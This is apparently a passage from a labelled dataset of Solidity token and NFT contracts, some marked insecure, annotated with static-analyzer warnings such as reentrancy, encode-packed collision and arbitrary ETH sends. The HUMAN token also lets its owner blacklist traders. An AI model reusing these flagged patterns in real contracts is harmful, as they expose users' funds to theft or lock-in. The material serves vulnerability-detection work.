_nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> BITPOS_EXTRA_DATA);\n\n return uint256(_extraData(from, to, extraData)) << BITPOS_EXTRA_DATA;\n }\n\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n}",
"file_name": "solidity_code_1460.sol",
"secure": 0,
"size_bytes": 19790
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"@openzeppelin/contracts/finance/PaymentSplitter.sol\" as PaymentSplitter;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\ncontract SunMoonRising3 is Ownable, ERC721A, PaymentSplitter {\n using Strings for uint;\n\n string public baseURI;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48087a3): SunMoonRising3.MAX_SUPPLY should be constant \n\t// Recommendation for 48087a3: Add the 'constant' attribute to state variables that never change.\n uint256 public MAX_SUPPLY = 1728;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 84562b6): SunMoonRising3.teamLength should be immutable \n\t// Recommendation for 84562b6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private teamLength;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 50e245d): SunMoonRising3.royaltyFeesInBips should be immutable \n\t// Recommendation for 50e245d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint96 royaltyFeesInBips;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e09a4d0): SunMoonRising3.royaltyReceiver should be immutable \n\t// Recommendation for e09a4d0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address royaltyReceiver;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 91cd87f): SunMoonRising3.constructor(uint96,address[],uint256[],string,address,address)._baseURI shadows ERC721A._baseURI() (function)\n\t// Recommendation for 91cd87f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f23fefa): SunMoonRising3.constructor(uint96,address[],uint256[],string,address,address)._fundsReceiver lacks a zerocheck on \t royaltyReceiver = _fundsReceiver\n\t// Recommendation for f23fefa: Check that the address is not zero.\n constructor(\n uint96 _royaltyFeesInBips,\n address[] memory _team,\n uint256[] memory _teamShares,\n string memory _baseURI,\n address _initialOwner,\n address _fundsReceiver\n )\n ERC721A(\"Sun Moon Rising 3\", \"SMR3\")\n PaymentSplitter(_team, _teamShares)\n Ownable(_initialOwner)\n {\n baseURI = _baseURI;\n\n teamLength = _team.length;\n\n royaltyFeesInBips = _royaltyFeesInBips;\n\n\t\t// missing-zero-check | ID: f23fefa\n royaltyReceiver = _fundsReceiver;\n }\n\n modifier callerIsUser() {\n require(tx.origin == msg.sender, \"The caller is another contract\");\n\n _;\n }\n\n function initialMint(address _to, uint256 _quantity) external onlyOwner {\n require(totalSupply() + _quantity <= MAX_SUPPLY, \"Reached max Supply\");\n\n _safeMint(_to, _quantity);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d0cab0a): SunMoonRising3.setBaseUri(string)._baseURI shadows ERC721A._baseURI() (function)\n\t// Recommendation for d0cab0a: Rename the local variables that shadow another component.\n function setBaseUri(string memory _baseURI) external onlyOwner {\n baseURI = _baseURI;\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: 19257c2): SunMoonRising3.tokenURI(uint256) calls abi.encodePacked() with multiple dynamic arguments string(abi.encodePacked(baseURI,_tokenId.toString(),.json))\n\t// Recommendation for 19257c2: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function tokenURI(\n uint256 _tokenId\n ) public view virtual override returns (string memory) {\n require(_exists(_tokenId), \"URI query for nonexistent token\");\n\n\t\t// encode-packed-collision | ID: 19257c2\n return string(abi.encodePacked(baseURI, _tokenId.toString(), \".json\"));\n }\n\n function releaseAll() external onlyOwner {\n for (uint256 i = 0; i < teamLength; i++) {\n release(payable(payee(i)));\n }\n }\n\n receive() external payable override {\n revert(\"Only if you mint\");\n }\n}",
"file_name": "solidity_code_1461.sol",
"secure": 0,
"size_bytes": 4377
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract President is ERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 5dfd972): President.marketingWallet should be immutable \n\t// Recommendation for 5dfd972: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b5391c4): President.uniswapV2Router should be immutable \n\t// Recommendation for b5391c4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e2e64e6): President.uniswapV2Pair should be immutable \n\t// Recommendation for e2e64e6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: feb87fc): President.DEAD should be constant \n\t// Recommendation for feb87fc: Add the 'constant' attribute to state variables that never change.\n address private DEAD = 0x000000000000000000000000000000000000dEaD;\n\n uint256 public launchedBlock = 0;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e355b8d): President.swapTokensAtAmount should be immutable \n\t// Recommendation for e355b8d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmount;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _isExcludedFromMaxWalletLimit;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57451b4): President.maxWalletLimitEnabled should be constant \n\t// Recommendation for 57451b4: Add the 'constant' attribute to state variables that never change.\n bool public maxWalletLimitEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a72d3a8): President.maxWalletAmount should be immutable \n\t// Recommendation for a72d3a8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 maxWalletAmount;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32c0b3e): President.operator should be constant \n\t// Recommendation for 32c0b3e: Add the 'constant' attribute to state variables that never change.\n address public operator = 0x4B8cF9FEC083a8b854d285c4Ef507464FC105F11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7071363): President.donald should be constant \n\t// Recommendation for 7071363: Add the 'constant' attribute to state variables that never change.\n address public donald = 0x94845333028B1204Fbe14E1278Fd4Adde46B22ce;\n\n\t// WARNING Optimization Issue (constable-states | ID: dccfeaf): President.kamala should be constant \n\t// Recommendation for dccfeaf: Add the 'constant' attribute to state variables that never change.\n address public kamala = 0x000000000000000000000000000000000000dEaD;\n\n uint256 public lastRound = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61dd317): President.finalRound should be constant \n\t// Recommendation for 61dd317: Add the 'constant' attribute to state variables that never change.\n uint256 public finalRound = 290;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ee0f786): President.donateAmount should be immutable \n\t// Recommendation for ee0f786: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public donateAmount;\n\n uint256 public donateReserve;\n\n uint256 private constant startTime = 1729724400;\n\n uint256 private constant roundDuration = 3600;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bf2cf8b): President.constructor(address)._marketingWallet lacks a zerocheck on \t marketingWallet = _marketingWallet\n\t// Recommendation for bf2cf8b: Check that the address is not zero.\n constructor(address _marketingWallet) ERC20(\"President\", \"PRESIDENT\") {\n\t\t// missing-zero-check | ID: bf2cf8b\n marketingWallet = _marketingWallet;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = _uniswapV2Pair;\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[DEAD] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[marketingWallet] = true;\n\n _isExcludedFromMaxWalletLimit[owner()] = true;\n\n _isExcludedFromMaxWalletLimit[DEAD] = true;\n\n _isExcludedFromMaxWalletLimit[address(this)] = true;\n\n _isExcludedFromMaxWalletLimit[marketingWallet] = true;\n\n _isExcludedFromMaxWalletLimit[address(0)] = true;\n\n _mint(owner(), 335_042_069 * (10 ** 18));\n\n uint256 tSupply = totalSupply();\n\n swapTokensAtAmount = tSupply / 1000;\n\n maxWalletAmount = (tSupply * 2) / 100;\n\n donateAmount = (5 * tSupply) / (finalRound * 100);\n\n donateReserve = (5 * tSupply) / 100;\n\n super._transfer(owner(), address(this), donateReserve);\n }\n\n receive() external payable {}\n\n function isExcludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 11df0ec): President.launch() ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 11df0ec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ff47155): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ff47155: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launch() external payable onlyOwner {\n require(launchedBlock == 0, \"Already launched\");\n\n require(msg.value >= 1 ether, \"Need 1 ETH to launch\");\n\n uint256 tokenAmount = (totalSupply() * 90) / 100;\n\n super._transfer(owner(), address(this), tokenAmount);\n\n uint256 ethAmount = 1 ether;\n\n\t\t// unused-return | ID: 11df0ec\n\t\t// reentrancy-eth | ID: ff47155\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: ff47155\n launchedBlock = block.number;\n }\n\n function removeStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 07f73d9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 07f73d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 26ad91b): President._transfer(address,address,uint256) performs a multiplication on the result of a division _tFees = _tFees * ((250 (block.number launchedBlock)) / 5)\n\t// Recommendation for 26ad91b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 47ac5c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 47ac5c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n uint256 caBalance = balanceOf(address(this));\n\n if (donateReserve > caBalance) {\n donateReserve = caBalance;\n }\n\n caBalance -= donateReserve;\n\n if (\n block.number - launchedBlock > 6 &&\n !swapping &&\n from != uniswapV2Pair &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n swapping = true;\n\n uint256 pairBalance = balanceOf(uniswapV2Pair);\n\n if (caBalance >= pairBalance / 100) caBalance = pairBalance / 100;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t\t// reentrancy-events | ID: 07f73d9\n\t\t\t// reentrancy-eth | ID: 47ac5c6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n caBalance,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 newBalance = address(this).balance;\n\n if (newBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: 07f73d9\n\t\t\t\t// reentrancy-eth | ID: 47ac5c6\n payable(marketingWallet).transfer(newBalance);\n }\n\n\t\t\t// reentrancy-eth | ID: 47ac5c6\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n }\n\n if (takeFee) {\n uint256 _tFees = 0;\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n _tFees = 42;\n }\n\n if (_tFees > 0) {\n if (block.number - launchedBlock < 250)\n\t\t\t\t\t// divide-before-multiply | ID: 26ad91b\n _tFees =\n _tFees *\n ((250 - (block.number - launchedBlock)) / 5);\n\n uint256 fee = (amount * _tFees) / 10000;\n\n amount = amount - fee;\n\n\t\t\t\t// reentrancy-events | ID: 07f73d9\n\t\t\t\t// reentrancy-eth | ID: 47ac5c6\n super._transfer(from, address(this), fee);\n }\n }\n\n if (maxWalletLimitEnabled && block.number - launchedBlock < 600) {\n if (\n _isExcludedFromMaxWalletLimit[from] == false &&\n _isExcludedFromMaxWalletLimit[to] == false &&\n from == uniswapV2Pair\n ) {\n uint256 balance = balanceOf(to);\n\n require(\n balance + amount <= maxWalletAmount,\n \"MaxWallet: Recipient exceeds the maxWalletAmount\"\n );\n }\n }\n\n\t\t// reentrancy-events | ID: 07f73d9\n\t\t// reentrancy-eth | ID: 47ac5c6\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 99cefdd): President.donate(bool,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(startTime + round * roundDuration <= block.timestamp,Invalid round)\n\t// Recommendation for 99cefdd: Avoid relying on 'block.timestamp'.\n function donate(bool toDonald, uint256 round) external {\n require(lastRound < finalRound, \"No more rounds\");\n\n require(msg.sender == operator, \"Access denied\");\n\n require(round == lastRound + 1, \"Wrong round\");\n\n\t\t// timestamp | ID: 99cefdd\n require(\n startTime + round * roundDuration <= block.timestamp,\n \"Invalid round\"\n );\n\n if (toDonald) {\n super._transfer(address(this), donald, donateAmount);\n } else {\n super._transfer(address(this), kamala, donateAmount);\n }\n\n donateReserve -= donateAmount;\n\n lastRound += 1;\n }\n}",
"file_name": "solidity_code_1462.sol",
"secure": 0,
"size_bytes": 13259
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract SNPad is ERC20, ERC20Burnable {\n address public constant mintAddress =\n 0x3918EE588993192a73fc5aF74149F569fFa6a386;\n\n constructor() ERC20(\"SNPad\", \"SNPT\") {\n _mint(mintAddress, 280000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1463.sol",
"secure": 1,
"size_bytes": 480
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract WageCage is ERC20, Ownable {\n constructor() ERC20(\"WageCage\", \"CAGIE\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1464.sol",
"secure": 1,
"size_bytes": 349
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract HUMAN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: acf0ed2): HUMAN._taxWallet should be immutable \n\t// Recommendation for acf0ed2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ab27b5): HUMAN._initialBuyTax should be constant \n\t// Recommendation for 3ab27b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3f2c5): HUMAN._initialSellTax should be constant \n\t// Recommendation for 9a3f2c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 918c0be): HUMAN._reduceBuyTaxAt should be constant \n\t// Recommendation for 918c0be: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63d6fb3): HUMAN._reduceSellTaxAt should be constant \n\t// Recommendation for 63d6fb3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 888a2e7): HUMAN._preventSwapBefore should be constant \n\t// Recommendation for 888a2e7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"AI Killer\";\n\n string private constant _symbol = unicode\"HUMAN\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 499b337): HUMAN._taxSwapThreshold should be constant \n\t// Recommendation for 499b337: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2fab3c): HUMAN._maxTaxSwap should be constant \n\t// Recommendation for f2fab3c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4eab5d): HUMAN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4eab5d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 198b163): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 198b163: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d816213): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d816213: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 198b163\n\t\t// reentrancy-benign | ID: d816213\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 198b163\n\t\t// reentrancy-benign | ID: d816213\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4b38a7): HUMAN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4b38a7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d816213\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 198b163\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5464b24): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5464b24: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9e26ef4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9e26ef4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5464b24\n\t\t\t\t// reentrancy-eth | ID: 9e26ef4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5464b24\n\t\t\t\t\t// reentrancy-eth | ID: 9e26ef4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9e26ef4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9e26ef4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9e26ef4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5464b24\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9e26ef4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9e26ef4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5464b24\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 198b163\n\t\t// reentrancy-events | ID: 5464b24\n\t\t// reentrancy-benign | ID: d816213\n\t\t// reentrancy-eth | ID: 9e26ef4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4ec6d78): HUMAN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4ec6d78: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 198b163\n\t\t// reentrancy-events | ID: 5464b24\n\t\t// reentrancy-eth | ID: 9e26ef4\n\t\t// arbitrary-send-eth | ID: 4ec6d78\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 49c3e44): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 49c3e44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1e52ea8): HUMAN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// 